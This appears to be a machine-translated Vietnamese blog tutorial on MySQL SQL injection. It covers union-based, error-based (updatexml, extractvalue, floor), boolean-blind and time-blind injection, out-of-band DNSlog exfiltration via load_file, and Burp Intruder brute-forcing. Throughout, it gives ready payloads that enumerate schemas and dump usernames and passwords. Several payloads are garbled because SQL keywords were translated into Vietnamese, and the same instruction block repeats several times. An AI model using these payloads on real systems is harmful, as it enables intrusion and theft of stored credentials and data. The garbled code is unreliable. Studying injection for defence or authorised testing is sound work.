Khái niệm cơ bản về tiêm SQL
[Xin vui lòng sửa cho tôi nếu có bất kỳ vấn đề nào với bài viết này]
Có một tiếng vang
Phản hồi là bình thường
Các bước cơ bản
1. Xác định kiểu tiêm.
Số hoặc ký tự.
Kiểu số [Ví dụ]: ?id=1 Kiểu ký tự [Ví dụ]: ?id=1'.
Đây cũng là một nỗ lực để đóng câu lệnh sql gốc, bao gồm cả " ' ), không giới hạn các ký tự này để cố gắng đóng. Đồng thời, ký tự đóng cũng có thể được suy ra dựa trên lỗi câu lệnh của nó.
Có một cách khác để đánh giá ký tự đóng [use \ sign] id=1\ Theo thông tin được trả về bởi lỗi câu lệnh \, bất kỳ ký hiệu nào theo sau \ là ký tự đóng. Nếu không có ký hiệu thì đó là ký tự kết thúc. một loại số Vậy làm thế nào để đánh giá xem nó có bị đóng hay không? [Lấy loại số làm ví dụ, áp dụng tương tự cho loại ký tự] ?id=1 và 1=1 là đúng? id=1 và 1=2 là sai. Hai câu trên là một câu đúng và một câu sai. là đúng, trang sẽ được hiển thị bình thường. Nếu câu lệnh sai, nó sẽ không được hiển thị bình thường. Nếu trang được trả về giống nhau cho dù câu lệnh trên là đúng hay sai, nó sẽ không bị đóng. Trong trường hợp này, hãy sử dụng --+ để nhận xét đoạn mã sau. Nếu đó là Cơ sở dữ liệu MySQL, bạn có thể sử dụng dấu # để nhận xét.
2. Đoán số trường trong câu lệnh truy vấn SQL.
sắp xếp theo n --+ [n là số trường].
3. Xác định điểm vang của trường.
Ở Bước 2 ở trên, hãy điền số lượng tùy ý bạn đoán.
hợp nhất chọn 1,2,... --+ 。
4. Lấy cơ sở dữ liệu hiện tại.
hợp nhất chọn cơ sở dữ liệu() --+ 。
Phần đính kèm: Một số câu hỏi yêu cầu thông tin từ cơ sở dữ liệu khác. Bạn có thể sử dụng câu lệnh sau để hiển thị tất cả tên cơ sở dữ liệu.
hợp nhất chọn 1,...,schema_name từ information_schema.schemata --+ 。
5. Lấy bảng trong cơ sở dữ liệu Lấy bảng trong cơ sở dữ liệu hiện tại chọn 1,...,group_concat(table_name) từ information_schema.tables trong đó table_schema=database() --+.
Lấy liên kết bảng trong cơ sở dữ liệu đã chỉ định, chọn 1,...,group_concat(table_name) từ information_schema.tables trong đó table_schema=tên cơ sở dữ liệu--+.
6. Lấy tên cột (tên trường) trong bảng.
union select 1,...,group_concat(column_name) from information_schema.columns where table_name='Tên cột' --+ 。
Lấy tên trường liên kết chọn 1,...,group_concat(column_name) trong bảng cơ sở dữ liệu đã chỉ định từ information_schema.columns trong đó table_name=tên cơ sở dữ liệu.tên bảng--+.
7. Lấy giá trị của tên trường.
union chọn 1,...,group_concat(tên trường 1,tên trường...) từ tên bảng--+.
Lấy nội dung trường trong bảng cơ sở dữ liệu đã chỉ định liên kết chọn 1,...,group_concat(tên trường 1, tên trường...) từ tên cơ sở dữ liệu.tên bảng--+.
Lỗi tiêm
tiêm lỗi updatexml
Hàm: updatexml(xml_doument, XPath_string, new_value) Tham số đầu tiên: XML_document có định dạng String, là tên của đối tượng tài liệu XML. Tham số thứ hai: Dữ liệu tìm thấy đáp ứng các điều kiện [nhân vật chính của chúng ta là tham số thứ hai, bỏ qua. hai cái còn lại] Chúng ta cần xây dựng một câu lệnh có lỗi cú pháp xpath, chẳng hạn như 0x7e [0x7e là ~ trong mã ASCII, nhưng không có ký hiệu nào như vậy trong cú pháp xpath] [Ví dụ báo cáo lỗi đơn giản nhất] và updatexml(1,0x7e,1) --+.
Rõ ràng, điều này chỉ chuyển đổi 0x7e thành ~. Tiếp theo, bạn có thể ghép các câu lệnh 0x7e và sql lạ lại với nhau để đạt được một mục đích nhất định [bạn có thể sử dụng hàm concat() để ghép] [Ví dụ] Bước 3 cơ bản sau đây, đặt tham số thứ nhất và thứ ba thành 1, tham số ở giữa là sử dụng concat để ghép câu lệnh sql và 0x7e lại với nhau.
Các bước cơ bản
1. Xác định kiểu tiêm.
Số hoặc ký tự.
Kiểu số [Ví dụ]: ?id=1 Kiểu ký tự [Ví dụ]: ?id=1'.
Đây cũng là việc cố gắng đóng câu lệnh sql gốc. Bạn có thể sử dụng " ' ) và không giới hạn các ký tự này để cố gắng đóng nó. Đồng thời, bạn cũng có thể suy ra ký tự đóng dựa trên lỗi câu lệnh của nó.
Có một cách khác để đánh giá ký tự đóng [use \ sign] id=1\ Theo thông tin được trả về bởi lỗi câu lệnh \, bất kỳ ký hiệu nào theo sau \ là ký tự đóng. Nếu không có ký hiệu thì đó là ký tự kết thúc. một loại số Vậy làm thế nào để đánh giá xem nó có bị đóng hay không? [Lấy loại số làm ví dụ, áp dụng tương tự cho loại ký tự] ?id=1 và 1=1 là đúng? id=1 và 1=2 là sai. Hai câu trên là một câu đúng và một câu sai. là đúng, trang sẽ được hiển thị bình thường. Nếu câu lệnh sai, nó sẽ không được hiển thị bình thường. Nếu trang được trả về giống nhau cho dù câu lệnh trên là đúng hay sai, nó sẽ không bị đóng. Trong trường hợp này, hãy sử dụng --+ để nhận xét đoạn mã sau. Nếu đó là Cơ sở dữ liệu MySQL, bạn có thể sử dụng dấu # để nhận xét.
2. Kiểm tra và updatexml(1,concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+ 。
3. Đoán tên trường và updatexml(1,concat((select group_concat(column_name) từ information_schema.columns trong đó table_name=tên bảng),0x7e),1) --+.
4. Đoán nội dung trường và updatexml(1,concat((select group_concat(field 1,...) từ tên bảng),0x7e),1) --+ Nếu nội dung hiển thị không đầy đủ, bạn có thể sử dụng mid( ) Đếm và trích xuất từng chút một. Hoặc các hàm chặn ký tự khác có thể sử dụng định dạng hàm: mid(string, start, length) Ví dụ về độ dài ký tự bị chặn ở đầu chuỗi: [Báo cáo lỗi dựa trên XPath có thể xuất ra tối đa 32 ký tự cùng một lúc] và updatexml(1,concat(0x7e ,(select mid(group_concat(username,password),1,32) từ người dùng)),1) --+ .
Hàm: extractvalue (XML_document, xpath_string) Tham số đầu tiên: định dạng chuỗi, là tên của đối tượng tài liệu XML. Tham số thứ hai: xpath_string (chuỗi định dạng xpath) [Chỉ có hai tham số, nhân vật chính của chúng ta là tham số thứ hai, Don. 'cái kia đừng lo] [Về cơ bản giống như updatexml, chỉ đổi canh mà không đổi thuốc] Chúng ta cần xây dựng một câu lệnh có lỗi cú pháp xpath, chẳng hạn như 0x7e [0x7e là ~ trong mã ASCII , nhưng không có ký hiệu như vậy trong cú pháp xpath] [Ví dụ báo cáo lỗi đơn giản nhất] và extractvalue(1,0x7e).
Rõ ràng, điều này chỉ chuyển đổi 0x7e thành ~. Tiếp theo, bạn có thể ghép các câu lệnh 0x7e và sql lạ lại với nhau để đạt được một mục đích nhất định [bạn có thể sử dụng hàm concat() để ghép] [Ví dụ] Bước 3 cơ bản sau đây, đặt tham số đầu tiên thành 1 và tham số ở giữa Chỉ cần sử dụng concat để ghép các câu lệnh 0x7e và sql lại với nhau [0x7e đứng trước, câu lệnh sql đứng sau (thứ tự của hàm updatexml ở trên không bắt buộc, thứ tự của hàm extractvalue phải đúng)] Nếu nội dung không hiển thị đầy đủ, bạn có thể sử dụng hàm mid() để trích xuất từng chút một. Hoặc các hàm chặn ký tự khác có thể sử dụng định dạng hàm: mid(string, start, length) Ví dụ về độ dài ký tự bị chặn ở đầu chuỗi: [Báo cáo lỗi dựa trên XPath có thể xuất ra tối đa 32 ký tự cùng một lúc] và extractvalue(1,concat(0x7e ,(select mid(group_concat(username,password),1,32) từ người dùng))) --+ .
Các bước cơ bản
1. Xác định kiểu tiêm.
Số hoặc ký tự.
Kiểu số [Ví dụ]: ?id=1 Kiểu ký tự [Ví dụ]: ?id=1'.
Đây cũng là việc cố gắng đóng câu lệnh sql gốc. Bạn có thể sử dụng " ' ) và không giới hạn các ký tự này để cố gắng đóng nó. Đồng thời, bạn cũng có thể suy ra ký tự đóng dựa trên lỗi câu lệnh của nó.
Có một cách khác để đánh giá ký tự đóng [use \ sign] id=1\ Theo thông tin được trả về bởi lỗi câu lệnh \, bất kỳ ký hiệu nào theo sau \ là ký tự đóng. Nếu không có ký hiệu thì đó là ký tự kết thúc. một loại số Vậy làm thế nào để đánh giá xem nó có bị đóng hay không? [Lấy loại số làm ví dụ, áp dụng tương tự cho loại ký tự] ?id=1 và 1=1 là đúng? id=1 và 1=2 là sai. Hai câu trên là một câu đúng và một câu sai. là đúng, trang sẽ được hiển thị bình thường. Nếu câu lệnh sai, nó sẽ không được hiển thị bình thường. Nếu trang được trả về giống nhau cho dù câu lệnh trên là đúng hay sai, nó sẽ không bị đóng. Trong trường hợp này, hãy sử dụng --+ để nhận xét đoạn mã sau. Nếu đó là Cơ sở dữ liệu MySQL, bạn có thể sử dụng dấu # để nhận xét.
2. Kiểm tra và trích xuất value(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 。
3. Đoán tên trường và extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns trong đó table_name='table name'))) --+.
4. Đoán nội dung trường và extractvalue(1,concat(0x7e,(select group_concat(field 1,...) từ tên bảng))) --+.
tiêm lỗi sàn
Như chúng ta đã biết, Floor() là hàm làm tròn xuống. rand() là hàm tạo ra các số ngẫu nhiên từ 0 đến 1. Nếu là *2, nó sẽ tạo ra một số ngẫu nhiên từ 0 đến 2. Và rand(0) sẽ tạo ra một số giả ngẫu nhiên cố định miễn là rand. () chứa 0 thì 10 số đầu tiên phải là những số này nhân với 2 rồi làm tròn xuống để được dãy cố định như vậy sẽ dùng sau này.
MySQL sẽ tạo một bảng ảo khi thực thi các câu lệnh như select count(*) from table group by x [key là khóa chính và không thể lặp lại. count(*) được sử dụng để đếm] Hãy nhìn vào bảng bạn sẽ sử dụng sau.
Sau đó thực hiện truy vấn dữ liệu. Đầu tiên, nó sẽ kiểm tra xem dữ liệu có tồn tại trong bảng ảo hay không. Nếu tồn tại, số đếm sẽ tăng thêm 1 (Rand() sẽ không được thực thi lại), nếu không dữ liệu sẽ được chèn vào (Rand( ) sẽ được thực thi lại). Quy trình cụ thể: Truy vấn bản ghi mục đầu tiên, thực hiện sàn(rand(0)*2) và giá trị trả về là 0. Người ta nhận thấy rằng 0 không có trong bảng ảo. thao tác chèn được thực hiện và trước khi thao tác chèn được thực hiện, sàn(rand(0)*2) sẽ được thực thi lại và giá trị trả về là 1 , vì vậy, bước đầu tiên thực sự là chèn 1 vào bảng ảo, sau đó truy vấn bản ghi thứ hai, thực thi sàn(rand(0)*2), giá trị trả về là 1 và 1 đã có trong bảng ảo, sau đó đếm được tăng thêm 1 và sau đó truy vấn Đối với bản ghi thứ ba, thực hiện sàn(rand(0)*2) và giá trị trả về là 1. Nếu 1 đã có trong bảng ảo, số đếm sẽ tăng lên 1. Sau đó, truy vấn bản ghi thứ tư và thực thi Floor(rand(0)*2) để trả về Giá trị là 0, tìm thấy 0 không có trong bảng ảo Tại thời điểm này, Floor(Rand(0)*2) sẽ được thực thi lại trước khi thao tác chèn được thực hiện và giá trị trả về là 1. Do đó, bước này thực sự chèn 1 vào bảng ảo, nhưng bảng Đã có khóa chính 1. Nếu chèn lại sẽ gây ra xung đột khóa chính và sẽ báo lỗi.
Các bước cơ bản
1. Xác định kiểu tiêm.
Số hoặc ký tự.
Kiểu số [Ví dụ]: ?id=1 Kiểu ký tự [Ví dụ]: ?id=1'.
Điều này cũng đang cố gắng đóng câu lệnh sql gốc. Bạn có thể sử dụng các ký tự bao gồm " ' ) nhưng không giới hạn ở những ký tự này để cố gắng đóng nó. Đồng thời, bạn cũng có thể suy ra ký tự đóng dựa trên lỗi câu lệnh của nó.
Có một cách khác để đánh giá ký tự đóng [use \ sign] id=1\ Theo thông tin được trả về bởi lỗi câu lệnh \, bất kỳ ký hiệu nào theo sau \ là ký tự đóng. Nếu không có ký hiệu thì đó là ký tự kết thúc. một loại số Vậy làm thế nào để đánh giá xem nó có bị đóng hay không? [Lấy loại số làm ví dụ, áp dụng tương tự cho loại ký tự] ?id=1 và 1=1 là đúng? id=1 và 1=2 là sai. Hai câu trên là một câu đúng và một câu sai. là đúng, trang sẽ được hiển thị bình thường. Nếu câu lệnh sai, nó sẽ không được hiển thị bình thường. Nếu trang được trả về giống nhau cho dù câu lệnh trên là đúng hay sai, nó sẽ không bị đóng. Trong trường hợp này, hãy sử dụng --+ để nhận xét đoạn mã sau. Nếu đó là Cơ sở dữ liệu MySQL, bạn có thể sử dụng dấu # để nhận xét.
2. Đoán số trường trong câu lệnh truy vấn SQL (đoán đúng nếu trang trả về bình thường).
sắp xếp theo n --+ [n là số trường].
3. Đoán liên kết tên cơ sở dữ liệu chọn 1,count(*),concat(floor(rand(0)*2),database()) x từ nhóm information_schema.schemata theo x --+.
4. Sử dụng toán tử union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(table_name) from information_schema.tables where table_schema=database())) x from information_schema.tables group by x --+ 。
5. Đoán tên cột (tên trường) union select 1,count(*),concat(floor(Rand(0)*2),(select group_concat(column_name) from information_schema.columns trong đó table_name=tên bảng)) x từ nhóm information_schema.tables theo x --+ .
6. Đoán nội dung của các trường union select 1,count(*),concat(floor(rand(0)*2),(select concat(field 1,...) từ giới hạn tên bảng 0,1)) x từ nhóm information_schema.tables theo x --+ Nếu nội dung hiển thị không đầy đủ, bạn có thể sử dụng hàm mid() để trích xuất từng chút một. Hoặc các hàm chặn ký tự khác có thể sử dụng định dạng hàm: mid(string, start, length) Ví dụ về độ dài ký tự bị chặn ở đầu chuỗi: union select 1,count(*),concat(floor(Rand(0) *2) ,(select mid(group_concat(username,password),1,32) từ người dùng)) x từ nhóm information_schema.tables theo x --+ .
Không có tiếng vang
ghi chú mù
mù boolean
Các bước cơ bản
1. Xác định kiểu tiêm.
Số hoặc ký tự.
Kiểu số [Ví dụ]: ?id=1 Kiểu ký tự [Ví dụ]: ?id=1'.
Đây cũng là việc cố gắng đóng câu lệnh sql gốc. Bạn có thể sử dụng " ' ) và không giới hạn các ký tự này để cố gắng đóng nó. Đồng thời, bạn cũng có thể suy ra ký tự đóng dựa trên lỗi câu lệnh của nó.
Có một cách khác để đánh giá ký tự đóng [use \ sign] id=1\ Theo thông tin được trả về bởi lỗi câu lệnh \, bất kỳ ký hiệu nào theo sau \ là ký tự đóng. Nếu không có ký hiệu thì đó là ký tự kết thúc. một loại số Vậy làm thế nào để đánh giá xem nó có bị đóng hay không? [Lấy loại số làm ví dụ, áp dụng tương tự cho loại ký tự] ?id=1 và 1=1 là đúng? id=1 và 1=2 là sai. Hai câu trên là một câu đúng và một câu sai. là đúng, trang sẽ được hiển thị bình thường. Nếu câu lệnh sai, nó sẽ không được hiển thị bình thường. Nếu trang được trả về giống nhau cho dù câu lệnh trên là đúng hay sai, nó sẽ không bị đóng. Trong trường hợp này, hãy sử dụng --+ để nhận xét đoạn mã sau. Nếu đó là Cơ sở dữ liệu MySQL, bạn có thể sử dụng dấu # để nhận xét.
2. Đoán độ dài của tên cơ sở dữ liệu (nếu trang hiển thị bình thường thì nhận định đúng).
và length(database()) = n --+ [n là số ký tự] [n có thể được liệt kê].
và length(database()) > n --+ [n là số ký tự] có thể được sử dụng [phương pháp phân đôi] [sử dụng phương pháp này trong các bước sau].
3. Đoán tên cơ sở dữ liệu (nếu trang hiển thị bình thường thì nhận định đúng).
và ascii(substr(database(),1,1)) > n --+ 。
và ascii(substr(database(),2,1)) > n --+ [n là mã ASCII, các ký tự cơ bản là 128 ký tự đầu tiên].
và ascii(substr(database(),...,1)) > n --+ 。
Tên cơ sở dữ liệu có thể được đánh vần bằng cách so sánh nó với bảng mã ASCII.
[Nếu không muốn đoán mã ASCII có thể bỏ ascii(), n là ký tự, nhớ thêm dấu ngoặc kép].
[Ví dụ] và substr(database(),...,1) = 's' --+ .
4. Đoán số bảng trong cơ sở dữ liệu (nếu trang hiển thị bình thường thì nhận định đúng).
và (chọn count(table_name) từ information_schema.tables nơi table_schema = database()) > n --+ 【n không có dữ liệu】 。
5. Đoán độ dài tên bảng cơ sở dữ liệu (nếu trang hiển thị bình thường thì nhận định đúng).
và (chọn độ dài(tên_bảng) từ information_schema.tables trong đó bảng_schema = cơ sở dữ liệu() giới hạn 0,1) > n --+ [n là độ dài] [bắt buộc phải có giới hạn 0,1].
6. Đoán tên bảng (nếu trang hiển thị bình thường thì nhận định đúng).
Đoán tên bảng đầu tiên.
và (chọn ascii(substr(table_name,1,1)) từ information_schema.tables trong đó table_schema = cơ sở dữ liệu() giới hạn 0,1) > n --+ [n là mã ASCII] [phải có giới hạn 0,1].
Đoán tên của bảng thứ hai.
và (chọn ascii(substr(table_name,1,1)) từ information_schema.tables trong đó table_schema = cơ sở dữ liệu() giới hạn 1,1) > n --+ [n là mã ASCII] [phải có giới hạn 1,1].
Đoán tên bảng a-th [a-1 bên dưới là bảng a-th-1 hiện tại].
và (select ascii(substr(table_name,1,1)) từ information_schema.tables trong đó table_schema = cơ sở dữ liệu() giới hạn a-1,1) > n --+ [n là mã ASCII] [phải có giới hạn a-1 , 1].
7. Đoán số ô trong bảng (nếu trang hiển thị bình thường thì nhận định đúng).
và (chọn count(column_name) từ information_schema.columns trong đó table_name = 'tên bảng') > n --+ [n là số] [tên bảng được đoán theo các bước trên].
8. Đoán độ dài các tên trường trong bảng (nếu trang hiển thị bình thường thì nhận định đúng).
Đoán độ dài của tên trường đầu tiên.
và (chọn độ dài(tên_cột) từ information_schema.columns trong đó tên_bảng = 'tên bảng' giới hạn 0,1) > n --+ [n là độ dài] [bắt buộc phải có giới hạn 0,1].
Đoán độ dài của tên trường thứ a [a-1 bên dưới hiện là bảng thứ a-1].
và (chọn độ dài(tên_cột) từ information_schema.columns trong đó tên_bảng = 'tên bảng' giới hạn a-1,1) > n --+ [n là độ dài] [phải có giới hạn a-1,1].
9. Đoán tên trường (nếu trang hiển thị bình thường thì nhận định đúng).
Đoán tên trường đầu tiên.
và (select ascii(substr(column_name,1,1)) from information_schema.columns trong đó table_name = 'table name' giới hạn 0,1) > n --+ [n is ASCII code] [phải có giới hạn 0,1] .
Đoán tên trường thứ a [a-1 bên dưới là bảng thứ a-1 hiện tại].
và (select ascii(substr(column_name,1,1)) from information_schema.columns trong đó table_name = 'table name' giới hạn a-1,1) > n --+ [n là mã ASCII] [phải có giới hạn a- 1 ,1].
10. Đoán độ dài nội dung trường trong cột (nếu trang hiển thị bình thường thì nhận định đúng).
Đoán độ dài của nội dung trường đầu tiên.
và (chọn độ dài (tên trường) từ giới hạn tên bảng 0,1) > n --+ [n là độ dài] [phải có giới hạn 0,1].
Đoán độ dài của nội dung trường thứ a [a-1 bên dưới hiện là bảng thứ a-1].
và (chọn độ dài (tên trường) từ giới hạn tên bảng a-1,1) > n --+ [n là độ dài] [phải có giới hạn a-1,1].
11. Đoán nội dung các trường trong cột (nếu trang hiển thị bình thường thì nhận định đúng).
Đoán nội dung của trường đầu tiên.
và (chọn ascii(substr(tên trường,1,1)) từ giới hạn tên bảng 0,1) > n --+ [n là mã ASCII] [phải có giới hạn 0,1].
Đoán nội dung của trường thứ a [a-1 bên dưới hiện là bảng thứ a-1].
và (chọn ascii(substr(tên trường,1,1)) từ giới hạn tên bảng a-1,1) > n --+ [n là mã ASCII] [bắt buộc phải có giới hạn a-1,1].
mù thời gian
Các bước cơ bản
1. Xác định kiểu tiêm.
Số hoặc ký tự.
Kiểu số [Ví dụ]: ?id=1 Kiểu ký tự [Ví dụ]: ?id=1'.
Đây cũng là việc cố gắng đóng câu lệnh sql gốc. Bạn có thể sử dụng " ' ) và không giới hạn các ký tự này để cố gắng đóng nó. Đồng thời, bạn cũng có thể suy ra ký tự đóng dựa trên lỗi câu lệnh của nó.
Có một cách khác để đánh giá ký tự đóng [use \ sign] id=1\ Theo thông tin được trả về bởi lỗi câu lệnh \, bất kỳ ký hiệu nào theo sau \ là ký tự đóng. Nếu không có ký hiệu thì đó là ký tự kết thúc. một loại số Vậy làm thế nào để đánh giá xem nó có bị đóng hay không? [Lấy loại số làm ví dụ, áp dụng tương tự cho loại ký tự] ?id=1 và 1=1 là đúng? id=1 và 1=2 là sai. Hai câu trên là một câu đúng và một câu sai. là đúng, trang sẽ được hiển thị bình thường. Nếu câu lệnh sai, nó sẽ không được hiển thị bình thường. Nếu trang được trả về giống nhau cho dù câu lệnh trên là đúng hay sai, nó sẽ không bị đóng. Trong trường hợp này, hãy sử dụng --+ để nhận xét đoạn mã sau. Nếu đó là Cơ sở dữ liệu MySQL, bạn có thể sử dụng dấu # để nhận xét.
2. Đoán độ dài của tên cơ sở dữ liệu (nếu làm mới trang chỉ định giây thì phán đoán là đúng) và if(length(database())=n,sleep(2),0) --+ [n là số lượng ký tự] [có thể liệt kê được n】.
và if(length(database())>n,sleep(2),0) --+ [n là số ký tự] có thể được sử dụng [phương pháp phân đôi] [sử dụng phương pháp này trong các bước sau].
3. Đoán tên cơ sở dữ liệu (nếu làm mới trang chỉ định giây thì phán đoán là đúng) và if(ascii(substr(database(),1,1))>n,sleep(2),0) --+.
và if(ascii(substr(database(),2,1))>n,sleep(2),0) > n --+ [n là mã ASCII, các ký tự cơ bản là 128 đầu tiên].
và nếu(ascii(substr(database(),...,1))>n,sleep(2),0) > n --+ 。
Tên cơ sở dữ liệu có thể được đánh vần bằng cách so sánh nó với bảng mã ASCII.
[Nếu không muốn đoán mã ASCII có thể bỏ ascii(), n là ký tự, nhớ thêm dấu ngoặc kép].
[Ví dụ] và substr(database(),...,1) = 's' --+ .
4. Đoán số lượng bảng trong cơ sở dữ liệu (nếu làm mới trang chỉ định giây thì phán đoán là đúng) và if((select count(table_name) from information_schema.tables trong đó table_schema = cơ sở dữ liệu())>n,sleep(2) ,0) - -+ [n là số lượng].
5. Đoán độ dài của tên bảng (nếu làm mới trang chỉ định giây, phán đoán là đúng) và if((select length(table_name) from information_schema.tables trong đó table_schema = cơ sở dữ liệu() giới hạn 0,1) > n,sleep (2),0 ) --+ [n là độ dài] [phải có giới hạn 0,1].
6. Đoán tên bảng (nếu làm mới trang chỉ định giây, phán đoán là đúng) Đoán tên bảng đầu tiên và if((select ascii(substr(table_name,1,1)) từ information_schema.tables trong đó table_schema = cơ sở dữ liệu() limit 0,1) > n,sleep(2),0) --+ [n is ASCII code] [phải có giới hạn 0,1] Đoán ath tên bảng [a-1 bên dưới hiện là bảng thứ a-1] và if((select ascii(substr(table_name,1,1)) from information_schema.tables trong đó table_schema = cơ sở dữ liệu() giới hạn a-1, 1) > n,sleep(2),0) --+ [n là mã ASCII] [phải có giới hạn a-1,1].
7. Đoán số trường trong bảng (nếu làm mới trang chỉ định giây, phán đoán là đúng) và if((select count(column_name) from information_schema.columns trong đó table_name = 'table name' ) > n,sleep(2 ),0) --+ [n là số lượng] [Tên bảng được đoán theo các bước trên].
8. Đoán độ dài trường (nếu làm mới trang chỉ định giây, phán đoán là chính xác) Đoán độ dài trường đầu tiên và if((select length(column_name) from information_schema.columns trong đó table_name = 'table name' giới hạn 0,1) > n ,sleep(2),0) --+ [n là độ dài] [phải có giới hạn 0,1] Đoán độ dài của trường thứ a [a-1 bên dưới hiện là trường thứ a table-1] và if((select length(column_name) from information_schema.columns trong đó table_name = 'table name' limit a-1,1) > n,sleep(2),0) --+ [n là độ dài] [Phải có giới hạn a-1,1].
9. Đoán trường (nếu trang được làm mới trong vài giây được chỉ định, phán đoán là đúng) Đoán trường đầu tiên và if((select ascii(substr(column_name,1,1))) from information_schema.columns trong đó table_name = 'table name' limit 0 ,1) > n,sleep(2),0) --+ [n is ASCII code] [phải có giới hạn 0,1] Đoán giải pháp cho a các trường [a-1 bên dưới là bảng thứ a hiện tại-1] và if((select ascii(substr(column_name,1,1)) from information_schema.columns trong đó table_name = 'table name' giới hạn a-1, 1) > n,sleep(2),0) --+ [n là mã ASCII] [phải có giới hạn a-1,1].
10. Đoán độ dài của nội dung trường (nếu làm mới trang chỉ định giây thì nhận định đúng) Đoán độ dài của nội dung trường đầu tiên và if((select length(field name) from table name limit 0,1) > n ,sleep(2),0) --+ [n là độ dài] [phải có giới hạn 0,1] Đoán độ dài của nội dung trường thứ a [a-1 bên dưới là bảng thứ a hiện tại-1] và nếu((chọn độ dài (tên trường) từ giới hạn tên bảng a-1,1) > n,sleep(2),0) --+ [n là độ dài] [bắt buộc phải có giới hạn a-1,1].
11. Đoán nội dung trường (nếu trang được làm mới trong vòng vài giây được chỉ định, phán đoán là đúng) Đoán nội dung trường đầu tiên và if((select ascii(substr(field name,1,1)) từ giới hạn tên bảng 0,1 ) > n ,sleep(2),0) --+ [n là mã ASCII] [phải có giới hạn 0,1] Đoán nội dung của trường thứ a [a-1 bên dưới là bảng thứ a hiện tại- 1] và if((select ascii(substr(tên trường,1,1)) từ giới hạn tên bảng a-1,1) > n,sleep(2),0) --+ [n là mã ASCII] [phải có giới hạn a-1,1].
Lỗ hổng lấy thông tin OOB (ngoài băng tần)
Nếu bạn cần biết về DNSlog và UNC thì có thể tham khảo DNSlog để tìm hiểu.
Các bước cơ bản
1. Điều kiện tiên quyết: Lỗ hổng này yêu cầu sửa đổi tệp cấu hình mysql. Tìm safe_file_priv = '' trong my.ini. Nếu giá trị của safe_file_priv không phải '', hãy đổi nó thành ''.
2. Tìm nền tảng DNSlog có thể được xây dựng trực tuyến hoặc cục bộ. Hướng dẫn này lấy nền tảng CEYE làm ví dụ.
3. Xây dựng tải trọng và if((select Load_file(concat('\\\\',database(),'.yourIdentifier\\abc'))),1,0) --+ Vì vậy, chúng ta chỉ cần thay đổi cơ sở dữ liệu ( ) và Mã định danh của bạn có thể là cơ sở dữ liệu() để điền vào câu lệnh chèn sql.
Về cách lấy Mã định danh, trước tiên, hãy đăng ký tài khoản ceye và đăng nhập. Theo concat ở trên, đầu ra phải là \\database(). Mã định danh của bạn\abc có thể không được theo sau bởi abc. Bạn có thể điền nó vào. tình cờ. Về lý do tại sao câu lệnh trên lại chứa bốn \ , đó là vì nó cần phải được thoát.
Sử dụng Burp Suite để tiêm bán tự động (lấy Boolean Blind Insert làm ví dụ)
Các bước cơ bản
1. Xác định kiểu tiêm.
Số hoặc ký tự.
Kiểu số [Ví dụ]: ?id=1 Kiểu ký tự [Ví dụ]: ?id=1'.
Đây cũng là việc cố gắng đóng câu lệnh sql gốc. Bạn có thể sử dụng " ' ) và không giới hạn các ký tự này để cố gắng đóng nó. Đồng thời, bạn cũng có thể suy ra ký tự đóng dựa trên lỗi câu lệnh của nó.
Có một cách khác để đánh giá ký tự đóng [use \ sign] id=1\ Theo thông tin được trả về bởi lỗi câu lệnh \, bất kỳ ký hiệu nào theo sau \ là ký tự đóng. Nếu không có ký hiệu thì đó là ký tự kết thúc. một loại số Vậy làm thế nào để đánh giá xem nó có bị đóng hay không? [Lấy loại số làm ví dụ, áp dụng tương tự cho loại ký tự] ?id=1 và 1=1 là đúng? id=1 và 1=2 là sai. Hai câu trên là một câu đúng và một câu sai. là đúng, trang sẽ được hiển thị bình thường. Nếu câu lệnh sai, nó sẽ không được hiển thị bình thường. Nếu trang được trả về giống nhau cho dù câu lệnh trên là đúng hay sai, nó sẽ không bị đóng. Trong trường hợp này, hãy sử dụng --+ để nhận xét đoạn mã sau. Nếu đó là Cơ sở dữ liệu MySQL, bạn có thể sử dụng dấu # để nhận xét.
2. Đối với việc nổ bán tự động, độ dài của tên cơ sở dữ liệu sẽ bị cắt trước tiên rồi gửi đến mô-đun Kẻ xâm nhập để thêm vị trí tải trọng và từ điển, sau đó bắt đầu nổ tung để tìm câu trả lời chính xác.
3. Bán tự động phá hủy tên cơ sở dữ liệu, lấy gói bp và gửi nó đến mô-đun Kẻ xâm nhập, thêm tải trọng, thêm từ điển và bắt đầu phá hủy để tìm câu trả lời đúng. Các bước sau đây đều giống nhau.
Cuối cùng, bài viết về Hướng dẫn nghiên cứu SQL SQL [Ghi chú] kết thúc tại đây. Nếu bạn muốn biết thêm về Hướng dẫn nghiên cứu SQL SQL [Ghi chú], vui lòng tìm kiếm các bài viết về CFSDN hoặc tiếp tục duyệt qua các bài viết liên quan. Tôi hy vọng bạn sẽ ủng hộ tôi. trong tương lai blog của tôi! .
Tôi là một lập trình viên xuất sắc, rất giỏi!